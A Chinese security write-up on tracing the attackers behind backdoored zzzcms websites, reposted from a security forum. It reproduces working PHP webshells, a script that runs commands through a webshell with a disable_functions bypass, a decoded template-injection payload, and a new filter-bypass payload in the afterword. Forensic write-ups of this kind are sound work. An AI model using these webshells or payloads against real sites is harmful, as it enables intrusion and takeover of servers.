文章来源:先知社区(羊羊)
原文地址:https://xz.aliyun.com/t/11103
0x01 背景
一般安全厂商都会有针对web后门的扫描工具,此次拿到了一批网站被植入后门的攻击线索,由于疫情原因,现场排查取证条件比较苛刻,所以此次溯源是在开局一个后门情况下开展,大致思路是连接后门->查看日志->漏洞溯源。
0x02 后门排查
存在后门的URL :
http://www.xxxx.com/plugins/layer/mobile/need/wwConapp.php
<?php
function fun2(){
$b=$_POST;
return @($b[a]);
}
@extract(array(b=>create_function(NULL,fun2())));
@extract(array(c=>$b()));
?>hello
进去之后想要通过antasword执行命令,发现ret=127,于是查看phpinfo,发现存在disable_functions
diable_functions : exec,passthru,popen,proc_open,shell_exec,system,assert
禁用了这些命令执行的先关函数,绕过应该还是好绕的,不过在同目录下已经发现了前人留下的bypass_disablefunc_x.so,省去了绕过时间,直接复用即可
到这儿基本已经相当于可以远程执行命令,达到现场排查、取证溯源的目的。
通过cat access.log来获取访问日志,这里通过撰写脚本只获取了2020年4月1日至2020年12月31日的日志,方便我们进行精准溯源。
#coding:utf-8
import requests
for month in range(4,13):
for days in range(1,31):
date = '%02d' % month + '%02d' % days
url = 'http://www.xxxx.com/plugins/layer/mobile/need/back.php?cmd=cat%20/lnweb08/domain/3/8/5/38583/logs/access_log.2020' + date + '&outpath=/tmp/1&sopath=/lnweb08/domain/3/8/5/38583/www/plugins/layer/mobile/need/bypass_disablefunc_x.so'
res = requests.get(url=url)
fp = open(date+'.txt','w')
fp.write(res.content)
fp.close()
0x03 攻击者溯源
根据上图可以看到wwConapp.php的日期为2020-11-06 09:34:19,那么比较简单粗暴的方法就是直接在20201106的访问日志里查看谁访问了这个url,初步断定攻击者
115.238.195.188 - - [06/Nov/2020:09:34:37 +0800] "POST //plugins/layer/mobile/need/Conapp.php HTTP/1.1" 500 -
115.238.195.188 - - [06/Nov/2020:09:34:38 +0800] "POST //plugins/layer/mobile/need/Conapp.php HTTP/1.1" 200 180
115.238.195.188 - - [06/Nov/2020:09:34:39 +0800] "POST //plugins/layer/mobile/need/Conapp.php HTTP/1.1" 200 161
#cat 1106.txt| grep 115.238.195.188 | awk '{print $1,$2,$3,$4,$5,$6,$7,$8,$9,$10}'
115.238.195.188 - - [06/Nov/2020:09:22:58 +0800] "POST /search/2.php HTTP/1.1" 200 161
115.238.195.188 - - [06/Nov/2020:09:22:59 +0800] "POST /search/2.php HTTP/1.1" 200 153
115.238.195.188 - - [06/Nov/2020:09:23:02 +0800] "POST /search/2.php HTTP/1.1" 200 8
115.238.195.188 - - [06/Nov/2020:09:23:04 +0800] "POST /search/2.php HTTP/1.1" 200 809
115.238.195.188 - - [06/Nov/2020:09:23:07 +0800] "POST /search/2.php HTTP/1.1" 200 7
115.238.195.188 - - [06/Nov/2020:09:23:07 +0800] "GET /xiseceshi.html HTTP/1.1" 200 16
115.238.195.188 - - [06/Nov/2020:09:23:07 +0800] "POST /search/2.php HTTP/1.1" 200 7
115.238.195.188 - - [06/Nov/2020:09:23:08 +0800] "POST /search/2.php HTTP/1.1" 200 7
115.238.195.188 - - [06/Nov/2020:09:23:08 +0800] "GET /xiseceshi.htm HTTP/1.1" 200 16
115.238.195.188 - - [06/Nov/2020:09:23:08 +0800] "POST /search/2.php HTTP/1.1" 200 7
115.238.195.188 - - [06/Nov/2020:09:23:08 +0800] "POST /search/2.php HTTP/1.1" 200 7
115.238.195.188 - - [06/Nov/2020:09:23:09 +0800] "GET /xiseceshi.jsp HTTP/1.1" 200 16
115.238.195.188 - - [06/Nov/2020:09:23:09 +0800] "POST /search/2.php HTTP/1.1" 200 7
115.238.195.188 - - [06/Nov/2020:09:23:09 +0800] "POST /search/2.php HTTP/1.1" 200 7
<?php @$content = @stripslashes(/**/@$_POST[1]);@eval('' ./**/ $content);
#cat *| grep '/search/2.php'| awk '{print $1,$2,$3,$4,$5,$6,$7,$8,$9,$10}'
180.126.246.121 - - [28/Aug/2020:05:00:01 +0800] "HEAD /search/2.php HTTP/1.1" 200 -
180.126.246.121 - - [28/Aug/2020:05:00:01 +0800] "POST /search/2.php HTTP/1.1" 200 7
58.219.159.109 - - [29/Aug/2020:05:50:46 +0800] "HEAD /search/2.php HTTP/1.1" 200 -
58.219.159.109 - - [29/Aug/2020:05:50:46 +0800] "POST /search/2.php HTTP/1.1" 200 7
112.114.100.152 - - [01/Sep/2020:04:07:03 +0800] "POST /search/2.php HTTP/1.1" 200 129
112.114.100.152 - - [01/Sep/2020:04:07:03 +0800] "POST /search/2.php HTTP/1.1" 200 37
#cat *| grep '180.126.246.121'| awk '{print $1,$2,$3,$4,$5,$6,$7,$8,$9,$10}'
180.126.246.121 - - [28/Aug/2020:05:00:00 +0800] "HEAD / HTTP/1.1" 200 -
180.126.246.121 - - [28/Aug/2020:05:00:00 +0800] "GET /?author=1 HTTP/1.1" 200 16234
180.126.246.121 - - [28/Aug/2020:05:00:00 +0800] "HEAD /search/?keys=%7Bif%3Aarray%5Fmap%28base%5Fconvert%2831298929054286%2C10%2C32%29%2Carray%28%28base%5Fconvert%2810%2C10%2C36%29%5Ebase%5Fconvert%2825%2C10%2C36%29%5Ebase%5Fconvert%283%2C10%2C36%29%29.roulcf.%28base%5Fconvert%2810%2C10%2C36%29%5Ebase%5Fconvert%2825%2C10%2C36%29%5Ebase%5Fconvert%283%2C10%2C36%29%29%29%29%7D%7Bendif%7D HTTP/1.1" 200 -
180.126.246.121 - - [28/Aug/2020:05:00:00 +0800] "HEAD /search/?keys=%7Bif%3Aarray%5Fmap%28base%5Fconvert%2831298929054286%2C10%2C32%29%2Carray%28%28base%5Fconvert%2810%2C10%2C36%29%5Ebase%5Fconvert%2825%2C10%2C36%29%5Ebase%5Fconvert%283%2C10%2C36%29%29.yizogi.%28base%5Fconvert%2810%2C10%2C36%29%5Ebase%5Fconvert%2825%2C10%2C36%29%5Ebase%5Fconvert%283%2C10%2C36%29%29%29%29%7D%7Bendif%7D HTTP/1.1" 200 -
180.126.246.121 - - [28/Aug/2020:05:00:01 +0800] "POST /search/ HTTP/1.1" 200 10390
180.126.246.121 - - [28/Aug/2020:05:00:01 +0800] "HEAD /search/2.php HTTP/1.1" 200 -
180.126.246.121 - - [28/Aug/2020:05:00:01 +0800] "POST /search/2.php HTTP/1.1" 200 7
这里可以看到明显的异常流量,那么经过urldecode解密,其中一段攻击向量跟模板注入十分相似
/search/?keys={if:array_map(base_convert(31298929054286,10,32),array((base_convert(10,10,36)^base_convert(25,10,36)^base_convert(3,10,36)).yizogi.(base_convert(10,10,36)^base_convert(25,10,36)^base_convert(3,10,36))))}{endif}
echo base_convert(31298929054286,10,32);
echo base_convert(10,10,36)^base_convert(25,10,36)^base_convert(3,10,36);
echo 'yizogi';
echo base_convert(10,10,36)^base_convert(25,10,36)^base_convert(3,10,36);
//setcookie"yizogi"
0x04 后记
后来在测试该网站时发现zzzcms版本已更新到2022版本,原先的漏洞也已不复存在,甚至过滤了大部分命令执行的关键词,在测试过程中发现有一个回调函数还是可以绕过,甚至依托字符串截取的特性,可以绕过大部分对字符串进行过滤的情景。
array_intersect_uassoc(array_intersect_uassoc(array('var_dump(123);'=>''),array(''),'ass'.'ert'));
好文推荐
欢迎关注 系统安全运维